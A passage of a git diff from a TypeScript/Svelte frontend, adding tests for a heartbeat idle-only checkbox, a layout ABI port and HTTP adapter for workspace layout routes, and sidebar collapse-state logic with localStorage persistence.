+ );
+ expect(checkbox).toBeChecked();
+ });
+
+ it("renders unchecked when the loaded config has inactiveOnly: false", async () => {
+ const loadConfig = fakeLoadConfig(makeConfig({ inactiveOnly: false }));
+ render(HeartbeatView, {
+ props: baseProps({ loadConfig }),
+ });
+
+ const checkbox = await screen.findByLabelText(
+ "Only run the heartbeat when the workspace is idle",
+ );
+ expect(checkbox).not.toBeChecked();
+ });
+
+ it("toggling the checkbox persists a PARTIAL patch { inactiveOnly } and re-seeds", async () => {
+ const user = userEvent.setup();
+ const initial = makeConfig({ inactiveOnly: true });
+ const save = fakeSaveConfig(initial);
+ const loadConfig = fakeLoadConfig(initial);
+ render(HeartbeatView, {
+ props: baseProps({ loadConfig, saveConfig: save.impl }),
+ });
+
+ const checkbox = await screen.findByLabelText(
+ "Only run the heartbeat when the workspace is idle",
+ );
+ expect(checkbox).toBeChecked();
+
+ await user.click(checkbox);
+
+ // The save port was called with ONLY { inactiveOnly: false } — a partial
+ // update, not the whole config (mirrors the enable toggle's partial PUT).
+ await vi.waitFor(() => {
+ expect(save.calls).toHaveLength(1);
+ });
+ expect(save.calls[0]).toEqual({ inactiveOnly: false });
+
+ // After the save resolves, the checkbox reflects the server response (unchecked).
+ await vi.waitFor(() => {
+ expect(checkbox).not.toBeChecked();
+ });
+ });
+
+ it("toggling back on sends { inactiveOnly: true }", async () => {
+ const user = userEvent.setup();
+ const initial = makeConfig({ inactiveOnly: false });
+ const save = fakeSaveConfig(initial);
+ const loadConfig = fakeLoadConfig(initial);
+ render(HeartbeatView, {
+ props: baseProps({ loadConfig, saveConfig: save.impl }),
+ });
+
+ const checkbox = await screen.findByLabelText(
+ "Only run the heartbeat when the workspace is idle",
+ );
+ expect(checkbox).not.toBeChecked();
+
+ await user.click(checkbox);
+
+ await vi.waitFor(() => {
+ expect(save.calls).toHaveLength(1);
+ });
+ expect(save.calls[0]).toEqual({ inactiveOnly: true });
+ await vi.waitFor(() => {
+ expect(checkbox).toBeChecked();
+ });
+ });
+
+ it("a failed save reverts the checkbox to the last-known state", async () => {
+ const user = userEvent.setup();
+ const initial = makeConfig({ inactiveOnly: true });
+ const failingSave: SaveHeartbeatConfig = async () => ({
+ ok: false,
+ error: "boom",
+ });
+ const loadConfig = fakeLoadConfig(initial);
+ render(HeartbeatView, {
+ props: baseProps({ loadConfig, saveConfig: failingSave }),
+ });
+
+ const checkbox = await screen.findByLabelText(
+ "Only run the heartbeat when the workspace is idle",
+ );
+ expect(checkbox).toBeChecked();
+
+ await user.click(checkbox);
+
+ // The failed save surfaces the error AND reverts the checkbox (stays checked).
+ await vi.waitFor(() => {
+ expect(screen.getByText("boom")).toBeInTheDocument();
+ });
+ expect(checkbox).toBeChecked();
+ });
+});
diff --git a/src/features/heartbeat/ui/PromptEditor.test.ts b/src/features/heartbeat/ui/PromptEditor.test.ts
index 284b319..c4bd3b8 100644
--- a/src/features/heartbeat/ui/PromptEditor.test.ts
+++ b/src/features/heartbeat/ui/PromptEditor.test.ts
@@ -29,6 +29,7 @@ function fakeSaveConfig(): {
// Echo a config that reflects the persisted patch (so onSaved sync is realistic).
const config = {
enabled: false,
+ inactiveOnly: true,
systemPrompt: patch.systemPrompt ?? "",
taskPrompt: patch.taskPrompt ?? "",
intervalMinutes: 30,
diff --git a/src/features/heartbeat/ui/RunModal.svelte b/src/features/heartbeat/ui/RunModal.svelte
index 92068ae..12e248a 100644
--- a/src/features/heartbeat/ui/RunModal.svelte
+++ b/src/features/heartbeat/ui/RunModal.svelte
@@ -154,6 +154,7 @@
{:else}
<ChatView
chunks={chat.chunks}
+ recovering={chat.recovering}
turnMetrics={chat.turnMetrics}
hasEarlier={chat.hasEarlier}
onShowEarlier={chat.showEarlier}
diff --git a/src/features/layout/adapter/abi-port.test.ts b/src/features/layout/adapter/abi-port.test.ts
new file mode 100644
index 0000000..24f9c94
--- /dev/null
+++ b/src/features/layout/adapter/abi-port.test.ts
@@ -0,0 +1,97 @@
+import { DEFAULT_LAYOUT, type LayoutTree } from "@dispatch/layout-contract";
+import { describe, expect, it, vi } from "vitest";
+import type { LayoutProviderState, LayoutStore } from "../store.svelte";
+import { abiTree, createLayoutAbiPort } from "./abi-port";
+
+/**
+ * The ABI `layout` port tests (plan 04 §4.5) — the port is pure composition
+ * over the layout store + the ops HTTP edge, so BOTH deps are fakes (the
+ * outermost edges; nothing internal is mocked — asymmetric testing).
+ */
+
+function fakeStore(
+ overrides: Partial<Pick<LayoutStore, "tree" | "providerState" | "activeWorkspaceId">> = {},
+): LayoutStore {
+ return {
+ get tree(): LayoutTree {
+ return DEFAULT_LAYOUT;
+ },
+ get providerState(): LayoutProviderState {
+ return "present";
+ },
+ get activeWorkspaceId(): string {
+ return "ws-a";
+ },
+ probe: vi.fn(async () => {}),
+ onWorkspaceChanged: vi.fn(),
+ onServerTree: vi.fn(),
+ onTreeChange: vi.fn(),
+ resetToDefault: vi.fn(async () => null),
+ onExtensionsChanged: vi.fn(),
+ onWorkspacePluginsChanged: vi.fn(),
+ ...overrides,
+ } as LayoutStore;
+}
+
+describe("abiTree — the getTree decision (pure)", () => {
+ it("a PRESENT provider exposes the tree", () => {
+ expect(abiTree("present", DEFAULT_LAYOUT)).toBe(DEFAULT_LAYOUT);
+ });
+
+ it("no-provider mode (absent) exposes NULL — the local fallback is not shared state", () => {
+ expect(abiTree("absent", DEFAULT_LAYOUT)).toBeNull();
+ });
+
+ it("an unknown (not-yet-probed) provider exposes NULL too", () => {
+ expect(abiTree("unknown", DEFAULT_LAYOUT)).toBeNull();
+ });
+});
+
+describe("createLayoutAbiPort — applyOps → the ops route", () => {
+ it("posts to the ACTIVE workspace and feeds the returned tree back through the store", async () => {
+ const ops = [{ type: "ensurePanel", panels: "side", view: "demo" }] as const;
+ const edited: LayoutTree = { ...DEFAULT_LAYOUT };
+ const store = fakeStore();
+ const seen: string[] = [];
+ const port = createLayoutAbiPort({
+ store,
+ postOps: async (workspaceId, o) => {
+ seen.push(workspaceId);
+ return { ok: true, tree: edited, applied: o.length };
+ },
+ });
+
+ const result = await port.applyOps(ops);
+ expect(seen).toEqual(["ws-a"]); // the ACTIVE workspace at CALL time
+ expect(result).toEqual({ ok: true, tree: edited, applied: 1 });
+ // The successful apply echoes the tree into the store (instant local
+ // re-render; the WS broadcast echo is idempotent with this).
+ expect(store.onServerTree).toHaveBeenCalledWith("ws-a", edited);
+ });
+
+ it("a failed batch (typed no-provider error) does NOT touch the store", async () => {
+ const store = fakeStore({ providerState: "absent" });
+ const port = createLayoutAbiPort({
+ store,
+ postOps: async () => ({ ok: false, error: "no layout provider active" }),
+ });
+
+ const result = await port.applyOps([{ type: "removeNode", target: "side" }]);
+ expect(result).toEqual({ ok: false, error: "no layout provider active" });
+ expect(store.onServerTree).not.toHaveBeenCalled();
+ });
+
+ it("getTree returns the active tree while the provider is present, null when absent", () => {
+ const port = createLayoutAbiPort({
+ store: fakeStore({ providerState: "present" }),
+ postOps: async () => ({ ok: false, error: "unused" }),
+ });
+ expect(port.getTree()).toBe(DEFAULT_LAYOUT);
+
+ const absent = createLayoutAbiPort({
+ store: fakeStore({ providerState: "absent" }),
+ postOps: async () => ({ ok: false, error: "no layout provider active" }),
+ });
+ expect(absent.getTree()).toBeNull();
+ });
+});
diff --git a/src/features/layout/adapter/abi-port.ts b/src/features/layout/adapter/abi-port.ts
new file mode 100644
index 0000000..69576c6
--- /dev/null
+++ b/src/features/layout/adapter/abi-port.ts
@@ -0,0 +1,60 @@
+import type { ApplyOpsResult, LayoutOp, LayoutTree } from "@dispatch/layout-contract";
+import type { LayoutProviderState, LayoutStore } from "../store.svelte";
+
+/**
+ * The port the frontend-plugin ABI exposes as `api.layout` (plan 04 §4.5).
+ * The composition root builds it with {@link createLayoutAbiPort} and the
+ * plugin host hands it to every `activate(api)` — plugins never see the
+ * store or the HTTP edge, only THIS.
+ */
+export interface LayoutAbiPort {
+ /**
+ * Apply op-vocabulary edits to the ACTIVE workspace's tree through the
+ * provider (`POST /workspaces/:id/layout/ops`). Atomic; the no-provider
+ * 404 maps to the typed `{ ok: false, error: "no layout provider active" }`.
+ */
+ readonly applyOps: (ops: readonly LayoutOp[]) => Promise<ApplyOpsResult>;
+ /** The ACTIVE workspace's tree; `null` in no-provider mode. */
+ readonly getTree: () => LayoutTree | null;
+}
+
+export interface LayoutAbiPortDeps {
+ /** The layout store (the active workspace's tree + provider state). */
+ readonly store: LayoutStore;
+ /** The ops HTTP edge — bound per CALL to the then-active workspace. */
+ readonly postOps: (workspaceId: string, ops: readonly LayoutOp[]) => Promise<ApplyOpsResult>;
+}
+
+/**
+ * Build the ABI's `layout` port over the layout store + the ops HTTP edge
+ * (pure composition — no ambient state; both deps injected). A successful
+ * apply feeds the returned tree back through `onServerTree` so the local
+ * client re-renders immediately (the server's WS broadcast is the
+ * authoritative echo for every client, this one included — applying it twice
+ * is idempotent). The workspace is read at CALL time, so a workspace switch
+ * between calls targets the right tree; a switch mid-flight is guarded by
+ * `onServerTree`'s own workspace filter.
+ */
+export function createLayoutAbiPort(deps: LayoutAbiPortDeps): LayoutAbiPort {
+ return {
+ async applyOps(ops): Promise<ApplyOpsResult> {
+ const workspaceId = deps.store.activeWorkspaceId;
+ const result = await deps.postOps(workspaceId, ops);
+ if (result.ok) {
+ deps.store.onServerTree(workspaceId, result.tree);
+ }
+ return result;
+ },
+ getTree(): LayoutTree | null {
+ // `present` = an active provider is serving the active workspace. In
+ // no-provider (and not-yet-probed) mode the local tree is a fallback,
+ // not shared state — null tells the plugin there is nothing to read.
+ return abiTree(deps.store.providerState, deps.store.tree);
+ },
+ };
+}
+
+/** The getTree decision, pure: only a PRESENT provider's tree is exposed. */
+export function abiTree(state: LayoutProviderState, tree: LayoutTree): LayoutTree | null {
+ return state === "present" ? tree : null;
+}
diff --git a/src/features/layout/adapter/http.test.ts b/src/features/layout/adapter/http.test.ts
new file mode 100644
index 0000000..30e194a
--- /dev/null
+++ b/src/features/layout/adapter/http.test.ts
@@ -0,0 +1,182 @@
+import { DEFAULT_LAYOUT } from "@dispatch/layout-contract";
+import { describe, expect, it } from "vitest";
+import { createLayoutHttp } from "./http";
+
+/**
+ * Layout HTTP adapter tests — the OUTERMOST edge (fetch) is the only fake:
+ * a scripted `fetchImpl` returning canned Responses. No internal mocks.
+ */
+
+const LAYOUT_URL = "http://backend.test/workspaces/ws-a/layout";
+
+function fetchReturning(
+ status: number,
+ body: unknown,
+ capture?: { url?: string; init?: RequestInit | undefined },
+): typeof fetch {
+ return async (input: string | URL | Request, init?: RequestInit): Promise<Response> => {
+ if (capture !== undefined) {
+ capture.url =
+ typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ capture.init = init;
+ }
+ return new Response(JSON.stringify(body), {
+ status,
+ headers: { "Content-Type": "application/json" },
+ });
+ };
+}
+
+describe("createLayoutHttp — getTree", () => {
+ it("GETs the well-known route and unwraps { tree }", async () => {
+ const capture: { url?: string; init?: RequestInit } = {};
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(200, { tree: DEFAULT_LAYOUT }, capture),
+ );
+ const result = await http.getTree("ws-a");
+ expect(result).toEqual({ ok: true, tree: DEFAULT_LAYOUT });
+ expect(capture.url).toBe(LAYOUT_URL);
+ expect(capture.init?.method).toBeUndefined(); // GET is the default
+ });
+
+ it("maps a 404 to the no-provider signal (notFound: true)", async () => {
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(404, { error: "No layout provider is active" }),
+ );
+ const result = await http.getTree("ws-a");
+ expect(result).toEqual({
+ ok: false,
+ notFound: true,
+ error: "No layout provider is active",
+ });
+ });
+
+ it("maps a 500 to a non-notFound failure carrying the body's error", async () => {
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(500, { error: "Layout storage failure" }),
+ );
+ const result = await http.getTree("ws-a");
+ expect(result).toEqual({ ok: false, notFound: false, error: "Layout storage failure" });
+ });
+
+ it("a network failure degrades to notFound (the no-provider mode)", async () => {
+ const http = createLayoutHttp("http://backend.test", async () => {
+ throw new TypeError("Failed to fetch");
+ });
+ const result = await http.getTree("ws-a");
+ expect(result.ok).toBe(false);
+ if (!result.ok) {
+ expect(result.notFound).toBe(true);
+ expect(result.error).toContain("Failed to fetch");
+ }
+ });
+
+ it("a malformed 200 (SPA-fallback JSON without a tree) degrades to notFound", async () => {
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(200, { chunks: [], historyEpoch: 0, latestSeq: 0 }),
+ );
+ const result = await http.getTree("ws-a");
+ expect(result).toMatchObject({ ok: false, notFound: true });
+ });
+});
+
+describe("createLayoutHttp — putTree", () => {
+ it("PUTs { tree } as JSON and unwraps the echo", async () => {
+ const capture: { url?: string; init?: RequestInit } = {};
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(200, { tree: DEFAULT_LAYOUT }, capture),
+ );
+ const result = await http.putTree("ws-a", DEFAULT_LAYOUT);
+ expect(result).toEqual({ ok: true, tree: DEFAULT_LAYOUT });
+ expect(capture.init?.method).toBe("PUT");
+ expect(capture.init?.body).toBe(JSON.stringify({ tree: DEFAULT_LAYOUT }));
+ });
+
+ it("maps a 400 { error } to a validation failure (not notFound)", async () => {
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(400, { error: "root: split has no children" }),
+ );
+ const result = await http.putTree("ws-a", DEFAULT_LAYOUT);
+ expect(result).toEqual({
+ ok: false,
+ notFound: false,
+ error: "root: split has no children",
+ });
+ });
+
+ it("maps a 404 to the no-provider signal", async () => {
+ const http = createLayoutHttp("http://backend.test", fetchReturning(404, {}));
+ const result = await http.putTree("ws-a", DEFAULT_LAYOUT);
+ expect(result).toMatchObject({ ok: false, notFound: true });
+ });
+});
+
+describe("createLayoutHttp — deleteTree", () => {
+ it("DELETEs and unwraps the fresh seed", async () => {
+ const capture: { url?: string; init?: RequestInit } = {};
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(200, { tree: DEFAULT_LAYOUT }, capture),
+ );
+ const result = await http.deleteTree("ws-a");
+ expect(result).toEqual({ ok: true, tree: DEFAULT_LAYOUT });
+ expect(capture.init?.method).toBe("DELETE");
+ });
+
+ it("maps a 404 to the no-provider signal", async () => {
+ const http = createLayoutHttp("http://backend.test", fetchReturning(404, {}));
+ const result = await http.deleteTree("ws-a");
+ expect(result).toMatchObject({ ok: false, notFound: true });
+ });
+});
+
+describe("createLayoutHttp — postOps (plan 04 §4.2)", () => {
+ it("POSTs { ops } to the ops route and unwraps { tree, applied }", async () => {
+ const capture: { url?: string; init?: RequestInit } = {};
+ const ops = [{ type: "ensurePanel", panels: "side", view: "demo" }] as const;
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(200, { tree: DEFAULT_LAYOUT, applied: 1 }, capture),
+ );
+ const result = await http.postOps("ws-a", ops);
+ expect(result).toEqual({ ok: true, tree: DEFAULT_LAYOUT, applied: 1 });
+ expect(capture.url).toBe(`${LAYOUT_URL}/ops`);
+ expect(capture.init?.method).toBe("POST");
+ expect(capture.init?.body).toBe(JSON.stringify({ ops }));
+ });
+
+ it("maps a 404 to the typed no-provider error (the ABI's documented failure)", async () => {
+ const http = createLayoutHttp("http://backend.test", fetchReturning(404, {}));
+ const result = await http.postOps("ws-a", []);
+ expect(result).toEqual({ ok: false, error: "no layout provider active" });
+ });
+
+ it("maps a 400 { error, failedOp } to the atomic-reject failure", async () => {
+ const http = createLayoutHttp(
+ "http://backend.test",
+ fetchReturning(400, { error: "op 1: no such node", failedOp: 1 }),
+ );
+ const result = await http.postOps("ws-a", [{ type: "removeNode", target: "x" }]);
+ expect(result).toEqual({ ok: false, error: "op 1: no such node", failedOp: 1 });
+ });
+
+ it("a malformed 200 (no tree in the body) is a failure, never a silent ok", async () => {
+ const http = createLayoutHttp("http://backend.test", fetchReturning(200, { applied: 2 }));
+ const result = await http.postOps("ws-a", []);
+ expect(result).toMatchObject({ ok: false });
+ });
+
+ it("a network failure degrades to a typed failure (never throws)", async () => {
+ const http = createLayoutHttp("http://backend.test", async () => {
+ throw new TypeError("fetch failed");
+ });
+ const result = await http.postOps("ws-a", []);
+ expect(result).toEqual({ ok: false, error: "fetch failed" });
+ });
+});
diff --git a/src/features/layout/adapter/http.ts b/src/features/layout/adapter/http.ts
new file mode 100644
index 0000000..ff15a70
--- /dev/null
+++ b/src/features/layout/adapter/http.ts
@@ -0,0 +1,175 @@
+import type { ApplyOpsResult, LayoutOp, LayoutTree } from "@dispatch/layout-contract";
+
+/**
+ * Layout HTTP effects (plan 02 §2.6) — the injected edge that talks to the
+ * ACTIVE layout provider's well-known routes:
+ * - `GET /workspaces/:id/layout` → `{ tree }` (read seeds a fresh workspace)
+ * - `PUT /workspaces/:id/layout` body `{ tree }` → 200 `{ tree }` / 400 `{ error }`
+ * - `DELETE /workspaces/:id/layout` → the fresh seed (reset; the plugins
+ * modal's "Reset layout to default" button — plan 04 §4.4)
+ * - `POST /workspaces/:id/layout/ops` body `{ ops }` → 200 `{ tree, applied }`
+ * / 400 `{ error, failedOp? }` / 404 no provider (plan 04 §4.2 — the FE
+ * ABI's `layout.applyOps` door)
+ *
+ * Mirrors the plugins adapter's pattern: `httpBase` + an injected `fetchImpl`
+ * (testable without the network). The 404 is a SIGNAL, not an error: it means
+ * no layout provider is active, and the store renders its local default with
+ * ephemeral edits (never an error UI). A network failure degrades the same way.
+ */
+
+/** Outcome of a layout read/write. `notFound` distinguishes the no-provider 404. */
+export type LayoutHttpResult =
+ | { readonly ok: true; readonly tree: LayoutTree }
+ | { readonly ok: false; readonly notFound: boolean; readonly error: string };
+
+export interface LayoutHttp {
+ getTree(workspaceId: string): Promise<LayoutHttpResult>;
+ putTree(workspaceId: string, tree: LayoutTree): Promise<LayoutHttpResult>;
+ deleteTree(workspaceId: string): Promise<LayoutHttpResult>;
+ /**
+ * The plan-04 ops door (§4.2): apply op-vocabulary edits through the
+ * provider. The result IS the contract's `ApplyOpsResult` — the 404
+ * (no provider) maps to the typed `{ ok: false, error: "no layout
+ * provider active" }` failure the ABI documents.
+ */
+ postOps(workspaceId: string, ops: readonly LayoutOp[]): Promise<ApplyOpsResult>;
+}
+
+/** Read an error message from a non-2xx body (`{ error }`), tolerating junk. */
+async function errorOf(res: Response): Promise<string> {
+ try {
+ const body = (await res.json()) as { error?: unknown };
+ if (typeof body.error === "string" && body.error.length > 0) return body.error;
+ } catch {
+ // fall through
+ }
+ return `HTTP ${res.status}`;
+}
+
+/** A malformed 200 (e.g. an SPA-fallback page) degrades like a 404 — never poisons the store. */
+function malformed(): LayoutHttpResult {
+ return { ok: false, notFound: true, error: "Malformed layout response" };
+}
+
+export function createLayoutHttp(httpBase: string, fetchImpl: typeof fetch): LayoutHttp {
+ return {
+ async getTree(workspaceId): Promise<LayoutHttpResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/layout`,
+ );
+ if (res.status === 404) {
+ return { ok: false, notFound: true, error: "No layout provider is active" };
+ }
+ if (!res.ok) return { ok: false, notFound: false, error: await errorOf(res) };
+ const body = (await res.json()) as { tree?: unknown };
+ if (body === null || typeof body !== "object" || body.tree === undefined)
+ return malformed();
+ return { ok: true, tree: body.tree as LayoutTree };
+ } catch (err) {
+ return {
+ ok: false,
+ notFound: true,
+ error: err instanceof Error ? err.message : "Layout request failed",
+ };
+ }
+ },
+
+ async putTree(workspaceId, tree): Promise<LayoutHttpResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/layout`,
+ {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ tree }),
+ },
+ );
+ if (res.status === 404) {
+ return { ok: false, notFound: true, error: "No layout provider is active" };
+ }
+ if (!res.ok) return { ok: false, notFound: false, error: await errorOf(res) };
+ const body = (await res.json()) as { tree?: unknown };
+ if (body === null || typeof body !== "object" || body.tree === undefined)
+ return malformed();
+ return { ok: true, tree: body.tree as LayoutTree };
+ } catch (err) {
+ return {
+ ok: false,
+ notFound: true,
+ error: err instanceof Error ? err.message : "Layout request failed",
+ };
+ }
+ },
+
+ async deleteTree(workspaceId): Promise<LayoutHttpResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/layout`,
+ { method: "DELETE" },
+ );
+ if (res.status === 404) {
+ return { ok: false, notFound: true, error: "No layout provider is active" };
+ }
+ if (!res.ok) return { ok: false, notFound: false, error: await errorOf(res) };
+ const body = (await res.json()) as { tree?: unknown };
+ if (body === null || typeof body !== "object" || body.tree === undefined)
+ return malformed();
+ return { ok: true, tree: body.tree as LayoutTree };
+ } catch (err) {
+ return {
+ ok: false,
+ notFound: true,
+ error: err instanceof Error ? err.message : "Layout request failed",
+ };
+ }
+ },
+
+ async postOps(workspaceId, ops): Promise<ApplyOpsResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/layout/ops`,
+ {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ ops }),
+ },
+ );
+ // The no-provider 404 is the ABI's typed signal (plan 04 §4.5).
+ if (res.status === 404) {
+ return { ok: false, error: "no layout provider active" };
+ }
+ if (!res.ok) return await opsError(res);
+ const body = (await res.json()) as { tree?: unknown; applied?: unknown };
+ if (body === null || typeof body !== "object" || body.tree === undefined)
+ return { ok: false, error: "Malformed layout response" };
+ return {
+ ok: true,
+ tree: body.tree as LayoutTree,
+ applied: typeof body.applied === "number" ? body.applied : ops.length,
+ };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Layout request failed",
+ };
+ }
+ },
+ };
+}
+
+/** Read an ops-failure body (`{ error, failedOp? }`), tolerating junk. */
+async function opsError(res: Response): Promise<ApplyOpsResult> {
+ try {
+ const body = (await res.json()) as { error?: unknown; failedOp?: unknown };
+ const error =
+ typeof body.error === "string" && body.error.length > 0 ? body.error : `HTTP ${res.status}`;
+ return {
+ ok: false,
+ error,
+ ...(typeof body.failedOp === "number" ? { failedOp: body.failedOp } : {}),
+ };
+ } catch {
+ return { ok: false, error: `HTTP ${res.status}` };
+ }
+}
diff --git a/src/features/layout/index.ts b/src/features/layout/index.ts
new file mode 100644
index 0000000..8a464fe
--- /dev/null
+++ b/src/features/layout/index.ts
@@ -0,0 +1,51 @@
+/**
+ * The layout feature — a generic tile-tree renderer + the view registry.
+ *
+ * The frontend stops *having* a layout and starts *rendering* one: the tree is
+ * data (`@dispatch/layout-contract`), the renderer walks it, and every view a
+ * leaf mounts comes from the registry. Chrome (top bar, alerts, modals) stays
+ * OUTSIDE the tree — the tree owns the content region.
+ */
+
+export {
+ abiTree,
+ createLayoutAbiPort,
+ type LayoutAbiPort,
+ type LayoutAbiPortDeps,
+} from "./adapter/abi-port";
+export { createLayoutHttp, type LayoutHttp, type LayoutHttpResult } from "./adapter/http";
+export {
+ bootDefaultOpen,
+ type CollapseState,
+ type CollapseStore,
+ type CollapseStoreOptions,
+ createCollapseStore,
+ parsePersistedOpen,
+ SIDEBAR_OPEN_KEY,
+ WIDE_BREAKPOINT,
+} from "./logic/collapse";
+export { migrationTree, sidePanelViews, storedPanelViews } from "./logic/migration";
+export { addPanelOp, firstPanelView, removePanelOp, swapPanelOp } from "./logic/panels-edit";
+export {
+ getView,
+ listPanelViews,
+ listViews,
+ type RegisteredView,
+ registerPluginView,
+ registerView,
+ unregisterView,
+ unregisterViewsByPlugin,
+ type ViewComponent,
+ type ViewRegistration,
+ viewRegistry,
+} from "./logic/registry";
+export { DEFAULT_PANEL_VIEWS, overlaySidePanels, seedLayout } from "./logic/seed";
+export { firstCollapsibleNodeId, firstPanelsNode } from "./logic/tree-query";
+export { createLayoutStore, type LayoutProviderState, type LayoutStore } from "./store.svelte";
+export { default as TileRoot } from "./ui/TileRoot.svelte";
+
+/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
+export const manifest = {
+ name: "layout",
+ description: "Tile-tree renderer + view registry",
+} as const;
diff --git a/src/features/layout/logic/collapse.test.ts b/src/features/layout/logic/collapse.test.ts
new file mode 100644
index 0000000..77e9f3c
--- /dev/null
+++ b/src/features/layout/logic/collapse.test.ts
@@ -0,0 +1,120 @@
+import { describe, expect, it } from "vitest";
+import {
+ bootDefaultOpen,
+ createCollapseStore,
+ parsePersistedOpen,
+ SIDEBAR_OPEN_KEY,
+ WIDE_BREAKPOINT,
+} from "./collapse";
+
+function fakeStorage(): { storage: Storage; raw(key: string): string | null } {
+ const map = new Map<string, string>();
+ const storage: Storage = {
+ get length() {
+ return map.size;
+ },
+ clear: () => map.clear(),
+ getItem: (key) => map.get(key) ?? null,
+ key: () => null,
+ removeItem: (key) => map.delete(key),
+ setItem: (key, value) => void map.set(key, value),
+ };
+ return { storage, raw: (key) => map.get(key) ?? null };
+}
+
+describe("bootDefaultOpen", () => {
+ it("defaults to open on wide screens (>= 1024px) and closed on narrow ones", () => {
+ expect(bootDefaultOpen(WIDE_BREAKPOINT)).toBe(true);
+ expect(bootDefaultOpen(1440)).toBe(true);
+ expect(bootDefaultOpen(1023)).toBe(false);
+ expect(bootDefaultOpen(0)).toBe(false);
+ });
+
+ it("defaults to open when the viewport is unknown (SSR/tests)", () => {
+ expect(bootDefaultOpen(undefined)).toBe(true);
+ });
+});
+
+describe("parsePersistedOpen", () => {
+ it("accepts today's bare JSON boolean format", () => {
+ expect(parsePersistedOpen("true")).toBe(true);
+ expect(parsePersistedOpen("false")).toBe(false);
+ });
+
+ it("ignores null, malformed JSON, and non-boolean values", () => {
+ expect(parsePersistedOpen(null)).toBeNull();
+ expect(parsePersistedOpen("{")).toBeNull();
+ expect(parsePersistedOpen('"true"')).toBeNull();
+ expect(parsePersistedOpen("{}")).toBeNull();
+ });
+});
+
+describe("createCollapseStore", () => {
+ it("uses the viewport default when nothing is persisted", () => {
+ const store = createCollapseStore({ viewportWidth: 1024 });
+ expect(store.isOpen("side")).toBe(true);
+ const narrow = createCollapseStore({ viewportWidth: 800 });
+ expect(narrow.isOpen("side")).toBe(false);
+ });
+
+ it("restores the persisted boolean over the viewport default", () => {
+ const { storage } = fakeStorage();
+ storage.setItem(SIDEBAR_OPEN_KEY, "false");
+ const store = createCollapseStore({ storage, viewportWidth: 1440 });
+ expect(store.isOpen("side")).toBe(false);
+ });
+
+ it("persists toggles as today's bare JSON boolean (same key, same bytes)", () => {
+ const { storage, raw } = fakeStorage();
+ const store = createCollapseStore({ storage, viewportWidth: 1024 });
+ store.toggle("side");
+ expect(raw(SIDEBAR_OPEN_KEY)).toBe("false");
+ store.toggle("side");
+ expect(raw(SIDEBAR_OPEN_KEY)).toBe("true");
+ });
+
+ it("tracks per-node state reactively", () => {
+ const store = createCollapseStore({ viewportWidth: 1024 });
+ const seen: boolean[] = [];
+ const unsubscribe = store.subscribe((state) =>
+ seen.push(state.openByNode.side ?? state.defaultOpen),
+ );
+ try {
+ store.setOpen("side", false);
+ store.setOpen("side", true);
+ } finally {
+ unsubscribe();
+ }
+ expect(seen).toEqual([true, false, true]);
+ expect(store.isOpen("side")).toBe(true);
+ });
+
+ it("an untracked node falls back to the default", () => {
+ const store = createCollapseStore({ viewportWidth: 800 });
+ expect(store.isOpen("other")).toBe(false);
+ });
+
+ it("survives storage failures (quota errors are swallowed)", () => {
+ const broken: Storage = {
+ get length() {
+ return 0;
+ },
+ clear: () => undefined,
+ getItem: () => null,
+ key: () => null,
+ removeItem: () => undefined,
+ setItem: () => {
+ throw new Error("quota exceeded");
+ },
+ };
+ const store = createCollapseStore({ storage: broken, viewportWidth: 1024 });
+ expect(() => store.toggle("side")).not.toThrow();
+ expect(store.isOpen("side")).toBe(false);
+ });
+
+ it("works without storage (session-only chrome state)", () => {
+ const store = createCollapseStore({ viewportWidth: 1024 });
+ store.toggle("side");
+ expect(store.isOpen("side")).toBe(false);
+ });
+});
diff --git a/src/features/layout/logic/collapse.ts b/src/features/layout/logic/collapse.ts
new file mode 100644
index 0000000..28e90b4
--- /dev/null
+++ b/src/features/layout/logic/collapse.ts
@@ -0,0 +1,95 @@
+/**
+ * Collapse chrome state — the open/closed state of the tree's collapsible
+ * split children (today: the sidebar). Renderer chrome, NOT tree data
+ * (layout-00 decision 3): tree nodes merely declare `collapsible`; this store
+ * owns the per-node state, persisted device-locally.
+ *
+ * Persistence is BYTE-COMPATIBLE with today: the same `dispatch.sidebar.open`
+ * key holding a JSON boolean, defaulting to open on wide screens (>= 1024px,
+ * Tailwind `lg`). Today's UI has exactly one collapsible node, and the
+ * persisted boolean tracks the toggled node's state — identical bytes and
+ * behavior. A future with several collapsible nodes migrates the format in
+ * plan 02, not here.
+ */
+
+import { type Readable, writable } from "svelte/store";
+
+/** The localStorage key — unchanged from today (no migration). */
+export const SIDEBAR_OPEN_KEY = "dispatch.sidebar.open";
+/** Tailwind `lg`: today's boot default is open on wide screens. */
+export const WIDE_BREAKPOINT = 1024;
+
+export interface CollapseState {
+ /** Explicit per-node open state (node id → open). Absent = the default. */
+ readonly openByNode: Readonly<Record<string, boolean>>;
+ /** The boot default (persisted boolean, else viewport width >= 1024). */
+ readonly defaultOpen: boolean;
+}
+
+export interface CollapseStore extends Readable<CollapseState> {
+ /** Is the named node open? (explicit state, else the default) */
+ isOpen(nodeId: string): boolean;
+ setOpen(nodeId: string, open: boolean): void;
+ toggle(nodeId: string): void;
+}
+
+export interface CollapseStoreOptions {
+ /** Injected storage (the app store's `Storage`; undefined → session-only). */
+ readonly storage?: Storage | undefined;
+ /** Viewport width at boot (today: `window.innerWidth`). Undefined → default open. */
+ readonly viewportWidth?: number | undefined;
